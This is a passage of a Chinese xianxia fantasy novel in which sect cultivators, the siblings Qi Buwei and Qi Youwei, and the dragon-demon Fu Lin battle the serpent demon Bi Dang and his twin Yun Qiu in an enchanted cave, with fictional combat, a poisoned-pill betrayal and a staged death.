“那你怎么知道我们在猜测这些东西。”
祁有为会心一笑:“我那时在想事情啊,没心思打坐,刚好发现你和易辛在聊天,虽然听不见,但从嘴形里能读出一点。”
“行吧……”祁不为点点头,忽然想起什么,猛地瞪住她,“你从什么时候开始看的?”
祁有为眨眨眼,笑意加深:“等出去了,要和人姑娘好好相处,处得好,感情深了,可以找阿姐帮忙提亲呐!”
“别乱说!”祁不为立即反驳。
话音刚落,两人面色同时一凛,巨大威压猛地落下。
抬头一望,不知何时,巨蟒正悄无声息地盘踞着拱岩,头颅微垂,仿佛蔑视众生,粗壮长尾如一柄重锤,猛击水面。
河水顿时掀起丈高白浪,潮湿腥味扑鼻而来,水花溅起,像利刃一样朝四面八方激射。
惨叫应声而起。
巨蟒开始捕猎。
58. 第二十七章
巨蟒忽然出现,令仙门乱了几分阵脚,但反击很快便跟上了。
刀光剑影前赴后继,蛇妖体形巨大,只凭借身躯左右乱撞也很有威力,但这也成了它的负累。
——瞄准它,十分容易!
不一会儿,拱岩处便硝烟弥漫。
见仙门组织有力,祁不为两人趁机撤退。
山林空地离拱岩不远,等他们返回时,众人也聚精会神眺望那方的战斗,巨蟒的行动看得一清二楚,烟雾中夹杂几道仙门流光。
祁有为解释状况,表明那些掌门都到了。
余桓立即问:“我师父也来了?!”
“李掌门应该是被绞魂鞭伤中了,行动不便,没有跟来。”
余桓不禁松了口气,巨蟒难以对付,不在这里更好,他又道:“那我们现在要去帮忙吗?”
祁有为摇头:“他们打得有模有样的,仙门很多年没有这样合力围剿妖怪了,珍惜机会观摩观摩吧。”
言外之意就是,不帮,还不到时候。
易辛望着那方战场,握住了自己手腕,掌心下是一条桃木化成的手链。
斗了片刻后,前方陡然火光大起,如火舌般缠绕住巨蟒,眨眼之间便形成一团高温火球,那番炙热隐隐扑在了易辛等人面上。
火星乱溅,朝四面八方扩散,很快引燃两岸边的山林,热浪过境,易辛不得不挡住脸。
巨蟒翻倒在河水中,嘶声惨叫,不停扭动身子,尾巴横甩,震得地动山摇。
但河水没办法浇灭灵力凝聚出来的火焰。
混乱间,易辛被人拉住了手腕,祁不为说道:“下山!”
火已经蔓延过来,众人仿佛置身火海。
祁不为拉着易辛走上栈道,脚下便是越涨越高的河水,因为巨蟒的身躯隔断了河流。
其他人也跟着下山,纷纷在身上笼住一层结界,把火燎水溅都拦在外面。
火焰已经完全包裹住巨蟒,地动山摇之势也弱了下来,易辛睁大眼睛:“它死了吗?”
祁不为定定地望着巨蟒,语气飘忽:“哪有那么容易。”
易辛震惊,而此时虽有结界格挡,但周遭俨然火海之姿,烧得人皮肤滚烫,她不禁抹掉额角滚落的汗珠,脸上已经熏出不正常的红色。
仙门中人渐渐也扛不住纯灵力化作的火焰,见巨蟒一动不动,施术的火系掌门收了诀。
火海转瞬消失,巨蟒似乎也没有东西可以烧了,火焰渐渐熄灭,露出皮开肉绽的蛇躯。
众人屏息凝神片刻,然后有弟子在掌门的吩咐下上前查看。
他还没走出两步,斜里飞出一把水凝出的冰刃,直刺巨蟒腹部。
“谁!”那名弟子如惊弓之鸟,循着望来。
祁不为淡淡道:“还是不要上前为好。”
话落,那名弟子忽然听见身后众人喊他回去,声音十分焦灼。他定睛一看,蛇腹在蠕动!
它不断涨大,内里仿佛有什么活物在游窜。
他不可置信地瞪大眼睛,立即退后数十步,这瞬息之间,蛇腹猛地皲裂,数不清的东西喷涌而出,他甚至没来得及看清究竟是什么,便被一片黑糊迷住视野。
栈道上的众人看得清楚,那黑黢黢的一团是无数条蝮蛇,它们身躯如钢铁,激射而出,伤及平地上的仙门。
蝮蛇射向四面八方,连离了些距离的栈道也不放过。
祁不为将易辛拽至身后,手握不思量,舞出残影,把蝮蛇截成两半。
易辛甚至能听见兵刃相接的清响,仿佛撞在剑上的是铜铁。
几息之后,他们身前的栈道上躺满了蛇尸。
祁不为面无表情地砍死一条又一条钢铁蝮蛇,身后忽然想起易辛的惊呼:“周围变了!”
紧接着,仙门那边也传来了咋咋唬唬之声。
周遭景象正在消失,火海枯林和湍急奔流很快被岩洞取代。
蝮蛇消失殆尽后,仙门在一片仓促中不禁喘息连连,旋即发现自己正置身于一处高挑而密闭的山洞里。
山洞顶上垂着一块块石锥,火把嵌在土黄的岩壁上,把众人照得影影绰绰。
连祁不为等人也圈在了此地,仿佛瓮中捉鳖。
没了遮掩,钱备他们一下便看见了祁不为。
“我们从进来便在寻你们,你们无恙,真是再好不过。”钱备说道。
祁不为真是厌烦他这副装腔作势的模样,不过算了,好歹他们把蛇妖逼出了人形。
祁不为偏转目光,望着从巨蟒蛇腹里钻出人身蛇尾的彼当。
彼当才是最后的对手。
仙门顿时惊呼:“那蛇妖没死!”
易辛也惊讶地望着彼当,他形貌俊美,配上一条蛇尾,妖冶无比。
她实在错愕,忍不住小声道:“他长得这么年轻,和那老人家真是双生子?当父子也绰绰有余了吧?”
这时,身后忽然响起一道声音。
“皮囊而已,有人想要年轻些,有人喜欢鹤发飘逸。”
易辛和祁不为惧是一惊,猛地回首。
匀丘正穿过岩壁,从祁不为这群人中间走过,似乎丝毫不惧他们对他刀剑相向。
一种无形的轻蔑。
祁有为、易张稚、余桓几人都不知他何时出现的,下意识绷紧了身体,眼睁睁见他视若无睹地走过。
匀丘笑着看了眼易辛,眼神耐人寻味。
易辛头皮发麻:“我说话难听……多有冒犯……”
匀丘又笑:“人之将死,多说几句,无碍。”
易辛:“……”
他说话比她更难听!
祁不为目光蓦地阴沉,匀丘却并未看他,飘忽几步间,走到了彼当身边,笑道:“好好玩,别立马弄死了,千年才下来一回。”
彼当头也不回,反手一轰,岩壁上凹进去平整的一块:“要看戏就赶紧上去,我的手已经开始痒了。”
匀丘后退两步,转眼间已坐在了凹岩里。
仙门中有人不禁激,倍感侮辱,怒道:“你这蛇妖好大的口气!”
彼当头一歪,人眼陡然变成竖瞳,形态诡异:“那你就好好看着。”
话落,彼当倏地闪现至那人身前,握住他执剑的手腕,引剑入胸。
他立即顺着剑势被钉入岩壁,悬在空中,紧接着从岩壁里探出两条小蛇,紧紧裹住他。他恐惧大叫,下一瞬,声音滞在嗓子里,剑自动拔出,带出瓢泼鲜血。
彼当没有立马杀死他,反而要他一边失血,一边观战。
那把剑浸润着鲜血与杀意,忽在仙门众人中横飞,大家一时间纷纷避让。
呼喊声叠起,直到钱备出手,震碎了这把剑。
碎剑四处飞溅,旋即在钱备眼中,闪过道道残影,彼当双手握住弯刀,直冲面门。
钱备当即掐诀施法,挡了弯刀几刹,又在弯刀染上妖力之际,防御盾门猝然溃散。
“——宗主!”
“——爹!”
钱衡和弟子们大惊失色。
热血泼洒出来,钱备迫不得已徒手接刃,心念电转间,佩剑凝聚灵力,刺向彼当。
彼当抽身避开,手一松,从弯刀刀柄出拉出两道锁链,再用力一扯,意图割断钱备掌心。
钱备立即松开,血随着弯刀在空中划出瘆人的红线。
几招之内,钱备身后顿时冒出一层汗,他很久很久没感到如此惊心动魄了,反观彼当,他伸出蛇信,舔了舔弯刀血迹,邪性诡异,游刃有余。
钱备运力于掌心,血痕愈合,再执起长剑:“诸位小心,蛇妖不容小觑。他速度很快。”
快到几乎让人无法反应。
那对弯刀也灵活过了头,近身缠斗时,很容易阻碍自身行动。
得了提醒,各位门派掌门不约而同打起十二分精神,前赴后继地与彼当缠斗。
眼见两方人马斗得酣畅,祁有为瞥了眼挂在岩壁上的那名弟子,他血色渐失,神色惊恐不已。
她轻点地面,正要抽剑劈向缚住弟子的小蛇,后颈陡然一凉,凌厉
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杀意荡来。她立即一脚踢在岩壁上,借力回转身体,徐来剑运足灵力,看也不看,猛然横扫。
第一把弯刀被她打偏了方向,斜向上飞去,第二把弯刀如影随形,已经越过了徐来剑的抵御范围。
正与各位掌门酣战的彼当,不忘看着祁有为这边的情形,弯刀威力强悍,他断定,她无法正面扛下这一击。
然而下一刻,弯刀忽然改变了轨迹,堪堪擦过祁有为面颊,划出锐利血痕,钉入岩壁中。
彼当目光一凛,不,等等——他瞥见了祁有为掐诀的手。
撼动弯刀不容易,所以她操控风势,改变了自己的轨迹,恰好与弯刀擦肩而过。
还真是临危不乱。彼当一面闪过钱备杀招,一面握力拉回弯刀。
锁链哗啦作响,弯刀仿佛割裂空气,迅速飞回彼当手中。而这瞬间,祁有为扯住一条锁链,借势飞速地闪至彼当面前,当空一剑而下。
剑身雪亮,气势凛然。
彼当抬手御力,妖力自掌心澎湃而出,把徐来剑震得激荡不已,两种力量相碰,撞出道道光弧。
祁有为翻身而起,周遭之人也纷纷避开,却都受到了妖力波及。
祁有为即将撞向岩壁时,反手运力,卸了几成力道,而后踩住一块凸起的岩石,一手攀住岩壁,忍不住摸住胸口,缓和吐息。
彼当正要嘲弄她自不量力,忽然转头,易张稚已经劈开了两条小蛇,扶着弟子下落,余桓立即帮他止血。
“配合得不错。”彼当反应过来,那声音听来颇有茹毛饮血之味。
彼当重新握住弯刀,双手一震,紫色而蓬勃的妖力充盈弯刀。
不知是否错觉,那弯刀幻出几道放大的刀影,一振一振,仿佛拥有了呼吸。
洞内无风自起,杀意从彼当身上喷涌而出,剐着众人面门、肌肤,不禁让人窒息,好像这阵杀意就足够杀人一样。
众人惊恐起来,他们后知后觉地意识到,彼当几乎没有施展妖力,从始至终只以手脚和武器在搏斗。
这一回,彼当更快了,连眨眼的功夫都没有。挂在岩壁上的祁有为神情刹那间凝重起来,感受到微妙的风流,立即飞身离开。
倏地,那处岩壁猝然被砸得内陷,以彼当蛇尾为圆心,一寸寸辐射着皲裂,乍响之声无比恐怖。
妖力把祁有为还没完全逃离的一片衣角碎成齑粉。
祁有为还在半空之中,身前什么也没有,她却凝聚灵力,朝前一推,瞬息之间,彼当便闪至身前,看见她的举动,愣怔一刹那。
紧接着,彼当竖瞳一缩,随着几股飓风而来,风流里竟卷出了火焰。
——这火焰比仙门那些人凝聚出来的更强悍!
风速很快,卷着火瞬间把彼当包裹住了。
祁有为借着那一掌的反作用力,远离彼当和火爆中心,飞退之际,拔下一支簪子,扔在了火球斜下方。
果不其然,彼当噗呲一声,从火球里飞向那只簪子所在的方向。他瞳孔又是一缩,因为易张稚已经提剑迎面而来。
原来簪子给人指了路。
那是一柄过于朴素的剑。没有任何繁复花纹,刀刃上映出凛凛火光。
就是这小子放的火!彼当怒想。
短短刹那,易张稚已经和彼当交上了手。
两人斗出残影,紫气和火流交织,最后坠入各位掌门的包围圈。
一群人乱中有序,和彼当酣战。
望着这一幕幕,易辛甚至忘了呼吸,她的前半生和这些画面实在太遥远,既觉震撼又觉凶险万分。
祁不为一直在她身旁观战,似乎没有出手的意思。忽然,她觉得自己的手动了动,低头一看,才发现她正紧紧攥住祁不为的衣袖,因为她看得太焦灼了。
祁不为晃了晃手,说道:“待会儿再牵,我要把他放出来。”
他?
祁不为一振衣袖,一条长角的小黑蛇甩了出来,一落地便化成伏麟。
伏麟面色难看:“你这时候把我叫出来干什么?”
59. 第二十八章
“不是显而易见吗?”祁不为从瓶中倒出一粒药丸,“这是给你治伤的最后一种药。能助你修为倍增,一旦你恢复妖力,甚至更强,就能抵御地府忘川河水对你的侵蚀。”
之前伏麟和祁不为交易条件是,他伤未好,对真相就绝口不提。但祁不为给他试了好几种丹药,表皮腐蚀的地方好了又坏,治标不治本。
最后祁不为提议,伏麟先在仙首大会上曝光真相,事后他去甘华门偷传闻中的至宝灵药。
伏麟被折磨得妥协了,祁不为也拿出了丹药。
“你想要我帮你对付这头蛇妖?”伏麟望着那枚丹药,眉头拧起。
“把药吃了,”祁不为递出丹药,微妙一笑,“不要以为你和他同为妖类,就可以携手对付我们。”
伏麟面色骤变:“什么意思?你在我以前吃的药里动了手脚?!”
“自保手段而已,没人能保证你恢复妖力以后不会报复我,”说到最后,祁不为似是失了耐心,声音低沉,“不要再废话了,你没有选择余地。等我们出去,我会给你解药。你若不信我,就等着陪葬。”
伏麟恨恨地瞪着祁不为,在杀死蛇妖然后报复祁不为和先杀死祁不为再受蛇妖威胁之下,他只能选择前者,好歹还有这么多仙门中人助阵。
他吃下药丸。
祁不为:“现在运行妖力,让它流遍全身。抓紧时间,我们能为你争取的时间不多。”
话音刚落,前方战场应和他似的,彼当以一敌百,打斗虽然混乱,但各个掌门都负了伤,灵力损失大半。
有各位掌门缓冲,祁有为和易张稚倒是轻伤。
只是再酣战下去,仙门大败是迟早的事,彼当施展了那么多妖力,却没有枯竭之象,一对缠了妖力的弯刀,连连惹恼众人,叫他们束手无策。
祁不为手一松再握紧,不思量已在掌中,他对易辛说道:“不要乱跑,躲好。”
易辛郑重点头:“小心。”
酣战中,弯刀的锁链早已脱落,两柄刀组合成一把飞刃。
在柔软灵活的躯体助力之下,彼当攻击的角度极为刁钻,被袭之人真切地产生了一种被一条滑腻腻的蛇缠上之感。分明挡住了弯刀的攻势,可彼当手腕一用力,刀便绕着他人的法器旋转,化作另一种攻击。
几人看得出门道,却很难见招拆招,彼当太快,下刀又太恨。
光是拦下他的弯刀,便需要全神贯注,更别提预测或反击。
有时一人抵挡不住,还需他人的相助。
局面僵住。
彼当盯上了祁有为。
祁有为能看出微弱的风势变化,但如果彼当缠着她,不闪不躲,看穿风势这个优点也无处发挥。
他只要不断挥刀,不断攻击,祁有为根本抵挡不住!
这时,弯刀再度袭来,她方要动作,忽地被人握住手腕,朝上抵挡的剑变成了守住下盘,下一刻,弯刀如影随形,撞上剑身。
祁有为和脱手飞刃的彼当皆是一惊。
瞬息之间,祁不为轻推一把,把她换下。
彼当无谓换人,只诧异那一回,继续着诡异的攻势。可他未料到的是,祁不为全部一一躲过。掌门之中也有没中招的人,却和祁不为是不同的感觉,彼当能察觉出,祁不为不是躲过,是看穿。
他的刀下一回在哪出现,要攻击什么地方,走什么轨迹,全部被祁不为看穿。
彼当目光阴沉,难道只看这么几次,他就想出了破解之法?
他不信,弯刀再一次和不思量相撞,再要旋转刀身故技重施时,不思量先行一步,以弯刀为支点,在两人狭窄的距离里转动不思量,逼得彼当后退。
彼当瞪大眼睛,他竟然学会了这一招?!
祁不为猛地俯身,握住转至下方的剑柄,眨眼之间,斜劈而去,一道血痕出现在蛇因身上,剑身带出几缕血花。
他当然不是在此刻便看穿了彼当的招式,而是前世经此一战后,在脑中反复回想,才想出破解之法。
彼当换了招式,如附骨之蛆,在剑身上绕过一圈又一圈,最后整个缠住祁不为。人身从他肩后突起,两把弯刀高举,如同死神镰刀。
不思量此时被蛇尾缠住,动弹不得。
电光火石间,祁不为握住蛇因一只手,用他的弯刀格挡另一把刀,空着的那只手一抖,匕首幻化而出,灌注灵力,朝彼当柔软的腋下,突刺一寸!
这时,本为束缚他人行动的蛇身却成了累赘。
彼当无法立即放开祁不为撤退,只见后者骤然转身,再刺进他的肚腹。
“再送你一刀!”
蛇因竖瞳瞪大,口中猛地吐出信子,怒目而视,不顾腹部的伤痛,收束蛇尾,把祁不为裹紧,包括他的双手。
他掐住祁不为的颈项,弯刀直朝喉管而去。这两道口子,伤了就伤了,此刻他要杀死面前这个人。
就在他要落下弯刀时,两道身影闪至他身后,一左一右突刺。
彼当顿时松开祁不为,猛退数十步,手中弯刀交叉摩挲,发出令人牙酸颤抖的声音。
蓦地,彼当竖瞳一缩,扭着腰身与蛇尾,以刁钻而灵活的姿态在空中腾挪转移,避开了袭来的片片黑麟。
鳞甲深入岩地,散发阵阵黑气。
是谁?!
翻转间,彼当移动竖瞳,身前忽闪过一阵黑影,那是一张颊边生鳞的脸,这妖气,是一条水蛟。
须臾,余光里那人横甩一根漆黑铁棍,重击在自己腰身。
彼当倒飞了出去,在岩壁上撞出深深的凹洞,裂痕一路蔓延至地面。
伏麟单手舞棍,翻出残影,活动了一下筋骨,脸上满是嗜血般的兴奋。
他已经好多年没感受如此充盈的妖力了,而且比从前更甚。那枚灵丹真的助他增了数倍修为,身上溃烂之处,也以肉眼可见的速度愈合了。
而今日之内,彼当也是第一次被人打出这么大的动静。
众人看着这番变故,惊诧不已。
“那是天坛上的蛟妖?”
“他……真强。”
“但看起来和蛇妖不对付?”
“蛇要先化蛟,再化龙,身份上的天然鄙视吧……”
说着说着,大家畏惧地咽了咽口水。
彼当重新悬在空中,居高临下地望着伏麟:“你是妖,居然帮修行之人?”
“那我帮你,有什么好处?”
众人冷汗。
彼当残酷一笑:“留你全尸。”
“果然,帮你没好处。”
众人松一口气。
伏麟握紧手中黑棍,这是集鳞甲而成,坚硬无比,能攻击,也能防御。他看向彼当腰部,神色一僵,那里完好无损!
他猛地抬眼,彼当戏谑一笑。
那蛇妖根本没被他打中,反而顺着力道飞了出去,躲过那一击!
伏麟的狂傲顿时收敛些许,面色沉沉。
彼当扔了扔手中弯刀,笑道:“我在世上作乱时,有你吗?只怕我封印那日,你也没出生!”
语气里满是鄙夷不屑。
伏麟脸色难看起来,喉中发出猛兽似的蓄势低吼,微微伏低身子
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,黑影在墙上晃了一下,再逐渐膨胀,化出丈高的蛟龙之形。
头角峥嵘,身有四爪,黑鳞覆身,怒目圆睁。口中近乎龙吟,颇有几分威严。
彼当笑了一下,双手一放,弯刀消失,火光中骤然又添一庞然大物。
蛇身盘踞,双目猩红,尖齿淋下淅淅沥沥的毒液,落在地上,把岩石都蚀穿了,滋滋生雾,阴诡无比。
此处山洞原本异常空旷,此时塞了两头悍物,忽然变得十分逼仄。
所有人不约而同远离了这两头马上要凭原始本能战斗的凶兽。
山洞在先前的打斗中轰出了几个洞,他们前脚躲了进去,后脚一蛇一蛟便干起了架。
若是在外面,此刻必然风云色变。
但他们困在山洞里,只能撼山振地,落石纷纷。
没人想插一脚。
祁不为带易辛躲进沿着地面轰出来的洞,好在这里都是彼当幻化而出,只要他没死,妖力没枯竭,倒还挺坚硬的,不易塌方。
蛟龙有爪,摁住巨蟒十分容易,抓住了便口中衔弹,纯用妖力对轰,打斗间,甚至想徒爪撕裂巨蟒。
巨蟒被轰了几回后,顶着妖弹,利用惊人的咬合力紧紧缠住蛟龙,听得对方痛苦嘶吼,又阴气森森地用尖牙扎透鳞甲,毒液渗入血肉,引得蛟龙嘶叫连连。
两头妖怪杀红了眼,缠斗不休,一会儿把这个的头往墙上掼,一会儿把那个的尾巴鞭在地上。
山体一直震动不已。
易辛根本站不稳,即便被祁不为拉住手臂,也磕在了地上。
祁不为顺势蹲下,全神贯注地关注战局,忽有一道灵符悬在眼前。
——铜鸾镜已到手。
字文消散后,灵光聚在祁不为手心,变作一枚铜镜,镜面上反射冷光。
方才祁有为趁乱和崔掌门躲进了同一处地方,从他那里借来镇派之宝,再送给祁不为。
祁不为翻手收好铜鸾镜,扭头看了眼易辛。
易辛问道:“如果伏麟事后报复你怎么办?”
“不会的。他活不了几个时辰。”
易辛惊得瞪大眼睛。
“当初我爹娘应该没有杀死那头蛟妖,或是他们以为杀死了。蛟妖被鹤发之术重伤,在体内形成了一道封印,压住了他的力量。他阴差阳错地掉进了归墟境,化名伏麟。”
易辛惊讶:“你是说,伏麟就是谛听!”
“我替伏麟探查过伤势,在他体内发现了鹤发的印记。这证明他就是那头杀害我爹娘的蛟妖。”
“……那颗灵丹?”
“是清风山庄的秘宝,和鹤发效用一样。能让人在短时间内增强力量,但事后,生命会迅速枯竭。”
祁不为面色平静,细看那对瞳孔,漆黑一片,深不见底。
他留伏麟一命,不光是为了让他告诉自己真相,还考虑到了最坏的情况——倘若他又对上了彼当,那伏麟是所有人当中最强的战力。
他本来只是想修复伏麟的伤,但发现伏麟就是谛听之后,他就想到了今日之法。
伏麟杀了他爹娘,所以无论如何,他都不会让伏麟活下去。
区别只是,究竟是彼当杀了伏麟,还是他杀了伏麟。
听完祁不为的意图,易辛点点头,不做置喙。
接下来要做的,是确认他们对匀丘的假设。
如果他不是妖丹……情况会更加棘手。
两人齐齐望向对面的匀丘,在一片地动山摇里,他依旧稳如泰山,不惧蛟蛇的殃及。
他身上一定有很强的护体之力。
60. 第二十九章
不知过了多久,大开大合之势终于停了下来,他们收起庞大身躯,化作人形。
众人还沉浸在摆脱塌方之惧的高兴里,那两个妖怪又开始凶狠斗法。
从天上斗到地上,在半空时,法器双双擦过岩壁,火花滋啦,对于藏在那个高处的人而言,可谓心惊胆战。
被妖力波及,比山石更可怕。
伏麟在空中被打得节节败退后,蓄力猛踹一脚,彼当飞身后退,这才放开了他。
他们喘息不止,眼里布满凶狠杀伐之意,但伏麟已有力竭之态。
两人目光在空中一对,纷纷抬手起势。
众人屏息凝神,他们知道,这是最后一招了。
祁不为站了起来,易辛捏紧袖子,强压紊乱的心率。
随着齐齐两声暴喝,两头妖怪凝聚出庞大的妖力,山洞中充斥着难以忍受的威压。
就在伏麟即将释放时,忽有人带着他肩膀转了个方向。
他心头顿时一凉,怒意丛生!
他的妖力再也无法支撑这招了!
可他没法收手,只能看着妖力袭向岩壁上的……老头子?
紧接着,他冷汗直流,就在他以为自己会被彼当轰过来的妖力弄死时,祁不为却挡在了手边。
彼当的妖力轰然而至,祁不为顶着恐怖威压,抬手化出铜鸾镜。
镜身散发华光,接住了彼当的攻击,又在祁不为特意调整过的方向里,反射了出去,和伏麟的那股妖力一起袭向匀丘。
——彼当和匀丘骤然反应过来,但一切都迟了!
两道汹涌悍然的妖力撞上匀丘,激起他身前片片鳞光大阵。
瞬间,所有事物仿佛都变得迟缓起来。
匀丘眼眶慢慢睁大,大阵在妖力攻袭之下,泛出美丽荧光,一脉接着一脉。
突然,响起一道撞击之声,鳞片出现了裂痕!
这时,迟缓之感忽散,一切快得飞起来。
那裂痕疾速蔓延,匀丘眼睛已经跟不上,爆裂之声在耳边炸起,鳞光大阵溃散!
冲破大阵的妖力眼见就要灌进体内,彼当陡然闪身而至,抓起匀丘,蛇尾一张一弛,迅速落地。
落地刹那,彼当松开匀丘,停也不停,贴地急行,摄人的竖瞳中只有那个慌张跑出山洞的女子。她正望着半空,神情惊惧,泫然欲泣,好像看见了什么让人撕心裂肺的画面,殊不知,她马上就要死了!
蛇尾一压,彼当赫然起身,在易辛身上投下一片阴影,高举弯刀。
他看见易辛慢慢睁圆了眼睛,仿佛这才发现危险临近,她口中还高呼着:“祁不为——”
最后一字落下时,尾音戛然而止,弯刀在她喉咙上划出一道平整的伤口,鲜血旋即喷涌而出,甚至溅到了彼当身上。
到这时,彼当才露出冰冷而森寒的笑意。
易辛直挺挺地倒在地上,眸子瞬间灰败,犹如灯灭,毫无感情地凝着空中。
而往前倒几个刹那,半空里,铜鸾镜终于承受不住彼当的妖力,在祁不为手中碎裂炸开。
尚未来得及反射的妖力,全部倾注在祁不为身上,他猛地吐出几口血,撞在伏麟身上,带着他像断线的风筝般倒飞出去。
便是那一刹那,他看见易辛跑了出来,然后被彼当一刀割喉。
他想开口,却撞在了岩壁上,一瞬间夺取了神志。
彼当头也不回,徐来剑停在他身后一寸,再也无法前进。他悠悠转头,看见双眼血红的祁有为,轻慢一笑。
“你杀了易辛!伤了我弟弟!”祁有为怒喝。
彼当运力一挥,便把祁有为打了出去。他缓缓转动视线,那些得了喘息之机恢复不少的仙门众人,正悬在半空,对他肃容以待,仿佛审判。
彼当忽有蜉蝣撼树之感,不禁笑了起来,真是荒谬可笑。
他们以为他是强弩之末吗?
他们根本不知道,这不是他和匀丘最后的形态,他们可是双生子啊!
但是,对付他们,根本不需要。
都是一群蝼蚁。
彼当又幻出巨蟒,蛇影在火把光亮中升高变大,最后弯曲着蛇首,俯视众人,猩红竖瞳猛然张弛,以悍然之姿撞向仙门。
阵仗很快被冲乱,祁有为落在昏迷的祁不为身旁,揪住喘息的伏麟:“定住彼当,否则大家都会死。”
说罢,扬手将伏麟甩向乱阵中。
伏麟心中啐骂,这对姐弟把他当什么了,呼来喝去!
但他知道祁有为说得没错,只得投身于乱斗中。
祁不为胸口全是血,十分骇人。祁有为率先探查他的心脉,发现无碍,她才敢松口气,再输送灵力,助他疗伤醒来。
战至如今,彼当确有疲惫,伏麟也显露蛟身,再一次以四爪狠狠禁锢住他,让仙门所有攻击都落在彼当身上。
彼当又怒又烦,不再管那些人,只一门心思置伏麟于死地。
巨蟒扭动身子,不知咬了蛟龙多少口,最后以利齿深深嵌入蛟龙颈部,再施以蛮力,拖着利齿从颈部开刀,一路划过蛟身。
黑蛟顿时皮开肉绽,鲜血像河水一样淌了下来,和毒液反应着,腐蚀沸腾不已,又灼烧更深的血肉。
场面血腥不已,长吟撕心裂肺,经久不绝,叫人听了便觉痛苦不已,仿佛破刀剖腹的是自己。
众人一时看愣了,黑蛟绝望而痛苦地嘶吼着,他知道自己活不了了,心底里生出一股狠劲,顶着血流成河的身躯,像只老鹰一样以四爪狠狠钳住巨蟒,再一口咬住蛇首。
画面原始暴力,野蛮血腥。
巨蟒嘶叫不已,一时间却也难以挣动。
钱备一声怒吼:“四方阵!”
众人回身,闻声而动,分列四方,以各大掌门为首,施法布置结界,困住蛟龙和巨蟒。
这是祁有为和他们商量过的结果。
她说,困住巨蟒,再施术以火烧。
今日战斗下来,火术对巨蟒是最有效果的。
布阵之际,毒素扩散得很快,黑蛟心知大限已至,穷途末路时,心中涌出一股要毁灭天地的狠绝,怒吼道:“今日我活不成,你这蛇妖也别想好过!既要赴黄泉,怎么也要拉你一起下去——”
黑蛟的吼声震耳欲聋,激得人心惶惶,定力不足的,早已从嘴角洇出血沫。
他瞪着黄瞳,目眦欲裂,眼眶似乎都撕开了,汩汩热血流了出来,好不瘆人。
终于,在一阵滔天怒哮中,四方阵成行,而黑蛟也突兀地息了声。
伏麟气绝。
在确保祁不为暂时无虞后,祁有为便加入仙门之列。
巨蟒困于阵内,想要挣脱,却被黑蛟死死扼住。后者身躯已经僵硬,却仿佛凭着报复之心,死后也要拖住他。
能施火术者位列四方,余人则输送灵力。
四方阵内顿时烈焰滔天,视野随着热浪波折扭曲,祁有为恰好站在易张稚身旁,发觉他的术法与众人不同,火焰更为纯粹,颜色更深。
巨蟒剧烈挣扎,守阵之人从体内逼出更多灵力压制住,有人唇角已经渗了血。
恰逢巨蟒仰起蛇首,口齿开合,易张稚当即变幻手势,炽热如血的火流升入空中,再笔直俯冲,几股火流纠结缠绕,烧灼空气,塑成火龙,悉数没入巨蟒口中,瞬间吞没了他的嘶吼,痛苦从猛烈收缩的竖瞳里迸发出来,令他身躯不由得僵直了。
紧接着,巨蟒爆发出无比剧烈的挣扎,甚至挣脱了黑蛟束缚,全身胡乱而猛烈地撞击着四方阵结界。
这番动静把祁不为弄醒了,他强撑着走向四方阵,想要助阵。
巨蟒越挣扎,越令他们人心惶惶。
终于,在蛇首又一次冲撞四方阵后,蓦地仰颈,然后摇摇摆摆地坠落,把地面砸得震动几下。
半途中,祁不为停住,凝神望着四方阵。
众人一时惊疑不定,不敢断定那巨蟒是死是活。
易张稚却不得不收了手,这一招几乎用尽了他全部灵力,呛出一口血,趔趄时被祁有为扶住胳膊。
她眉头拧起来:“还好吗?”
易张稚刚要抹掉唇边血迹,手伸到一半却难以动弹了。
惊恐在人群中爆发出来。
“我动不了了!”
“我的灵力用不出来!”
“呃……身体好痛!像刀割一样!”
不知何时,地面出现纵横交错的白光,犹如一张网,织网向四处延伸,从地面到岩壁,再到洞顶,仿佛一个巨大的鸟笼。
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易张稚体内猝然爆出尖锐剐蹭般的痛楚,他双腿脱力,不禁倒在地上。而下坠过程里,又像是落进了细密排列的鱼线中,把身体切割成一块块碎肉。
他带倒了祁有为,她扑在易张稚上方,在凌迟般的痛苦里,看见他血色尽失,双目紧闭,口中是压抑过的闷哼,紧接着七窍流血。
“……易张稚?!”祁有为惊呼,“不要用灵力,放松身体,尽力压制灵力的运转……”
也许是他先前压榨了太多灵力,在樊笼阵里反应才如此剧烈。
这时,人群又掀起一阵惊恐。
“四方阵……没了!”
祁不为跪在地上,体内犹如刀剐,这般痛楚不算陌生,也实在不算熟悉。
他撑着一口气,费力瞥了四周,原来樊笼大阵外显后,是这种样子。
他又忍着剧痛,僵硬地转过头。
匀丘信步走来。
余人也发现了他。他过于安静,众人酣战时,几乎忘了他,如今才发现这妖怪比彼当更恐怖,居然压制了所有人的灵力,心中不禁布满绝望。
匀丘戏谑地看着四方阵中几乎僵死的巨蟒:“真是难得看你如此狼狈。”
话落,就在四方阵周围的人瞪大了眼睛,神色异常惶恐,刚刚蛇尾好像动了!
匀丘继续道:“你看不起那头还没化龙的黑蛟,但如果没有他,你也不会伤成这样。”
说话间,匀丘像是才注意到祁不为,眸光沉了沉,抬手指向他:“你躺好了,就先取他的项上人头。”
如果不是祁不为,他的护身阵法根本不会裂。
“好……”巨蟒口中传来含糊之声。
所有人骤然冷汗直流。
匀丘嘴角荡开,又蓦地僵住。
此时实在算不上安静,众人被吓得一惊一乍,而巨蟒重伤之下,喉咙里也冒出沉闷沙哑的嗬嗬喘气,偏偏一片嘈杂中,他身上响起了十分细微的噗呲声,轻得几乎听不见。
他低头一看,像是反应不过来似的,只见心口透了一把长剑,鲜血淋漓。
匀丘缓缓扭头,僵硬得好像千年的尸首,目光漆黑瘆人。
身后,易辛手执不思量,一剑把他捅穿了,而她脖子上干干净净,毫无割喉的痕迹。
“你……”匀丘才说一个字,便感到了迟来的痛苦,体内仿佛针扎,又像雷劈,尖锐的痛过电般迅速蔓延全身。
被不思量刺中,便会痛苦万分。
“你……你没死……”
匀丘话语断断续续,因为体内的生气正在流逝。
众人不可置信地看着这场变故,不明白易辛为何死而复生,又为何不受樊笼大阵影响。
祁不为面朝匀丘,看不清挡在身后的易辛,但望着那把透体而过的不思量,目光忽然奇异的亮。
险招奏效了!
按照匀丘是妖丹的假设。
必须先破匀丘的护身之法,这里最有可能做到这一点的,是彼当。所以祁有为借来铜鸾镜。
一旦失去防御,匀丘和彼当一定会率先除掉能够伤害他们的人——易辛,她是这里唯一没有修行的凡人。
